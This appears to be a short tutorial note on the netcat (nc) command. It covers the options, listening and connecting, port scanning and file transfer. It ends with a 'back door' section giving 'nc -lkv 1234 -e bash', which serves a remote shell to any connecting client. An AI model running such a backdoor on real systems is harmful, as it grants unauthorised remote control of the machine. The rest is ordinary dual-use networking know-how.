# Netcat

The Netcat (**nc**) command is a command-line utility for reading and writing data between two computer networks.

nc [<options>] <host> <port>

|  |  |  |
| --- | --- | --- |
| Option | Type | Description |
| **-4** | Protocol | Use IPv4 only. |
| **-6** | Protocol | Use IPv6 only. |
| **-U** **--unixsock** | Protocol | Use Unix domain sockets. |
| **-u** **--udp** | Protocol | Use UDP connection. |
| **-g <hop1, hop2,...>** | Connect mode | Set hops for loose source routing in IPv4. Hops are IP addresses or hostnames. |
| **-p <port>** **--source-port <port>** | Connect mode | Binds the Netcat source port to <port>. |
| **-s <host>** **--source <host>** | Connect mode | Binds the Netcat host to <host>. |
| **-l** **--listen** | Listen mode | Listens for connections instead of using connect mode. |
| **-k** **--keep-open** | Listen mode | Keeps the connection open for multiple simultaneous connections. |
| **-v** **--verbose** | Output | Sets verbosity level. Use multiple times to increase verbosity. |
| **-z** | Output | Report connection status without establishing a connection. |
| **-e** | Exe mode | We can assign a bash to run in remote system |
| **-w** | Wait | Wait for x sec |
|  |  |  |

1. On device 1, run the **nc** command in listen mode and provide a port:

nc -lkv 1234

The **-l** option activates listen mode, making device 1 the server. The output shows the device listening for connections due to the **-v** option. The **-k** option ensures the connection stays open after a disconnect.

2. On device 2, run the **nc** command with the IP address of device 1 and the port:

nc -v 10.0.2.4 1234

3. Alternatively, scan multiple ports on device 2 by adding a port range(-z). For example:

nc -zv 10.0.2.4 1230-1235

**if we use it without -z if connection established, other ports wont check.**

# Transfer Files

1. Create a listening connection on device 1 and redirect the file to the **nc** command:

nc -lv 1234 > file.txt

2. On device 2, connect to device 1 and redirect the file:

nc -v 10.0.2.4 1234 < file.txt

# create back door on listening server

1. Create a listening connection on device 1 and send bash of system to remote system

nc -lkv 1234 -e bash

1. On device 2, connect to device 1 and redirect the file:

nc -v 10.0.2.4 1234